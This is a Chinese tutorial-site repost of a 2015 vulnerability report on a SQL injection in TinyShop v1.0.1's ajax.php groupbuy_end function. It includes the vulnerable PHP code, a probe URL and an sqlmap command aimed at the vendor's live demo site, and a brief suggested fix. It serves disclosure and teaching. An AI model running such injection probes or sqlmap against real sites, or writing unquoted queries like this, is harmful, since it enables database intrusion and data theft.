网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

TinyShop v1.0.1 SQL注射 可致数据库信息泄露 - 网站安

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] TinyShop v1 0 1 SQL注入 protected controllers ajax php 团购结束更新public function groupbuy_end(){$id = Req::args( id ); 取得idif($id){$item = $this-mo...

TinyShop v1.0.1 SQL注射 可致数据库信息泄露(官网演示+源码分析)
无视gpc
详细说明:
/protected/controllers/ajax.php
 
 
 
//团购结束更新
 
public function groupbuy_end(){
 
$id = Req::args('id');
 
                //取得id
 
if($id){
 
$item = $this->model->table("groupbuy")->where("id=$id")->find();
 
                //无视GPC,直接带入查询
 
       $end_diff = time()-strtotime($item['end_time']);
 
       if($end_diff>0){
 
$this->model->table("groupbuy")->where("id=$id")->data(array('is_end'=>1))->update();
 
}
 
}
 
 
 
}
 
 
 
 
$id无单引号保护,因此无视GPC
 
 
 
何况官网没开GPC(框架里自动stripslashes先,开了也没用)
 
 
 
http://shop.tinyrise.com/ajax/groupbuy_end?id=4%27
 
 
 
没有引号保护
 
SQLMAP
 
C:\Users\Administrator>sqlmap.py -u "http://shop.tinyrise.com/ajax/groupbuy_end?id=4" -p id --tables --delay=12
 
 



 
 
都已经delay 12了 丢包还是惊人,不过还是跑出数据库名了
 
修复方案:
单引号保护+addslashes

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论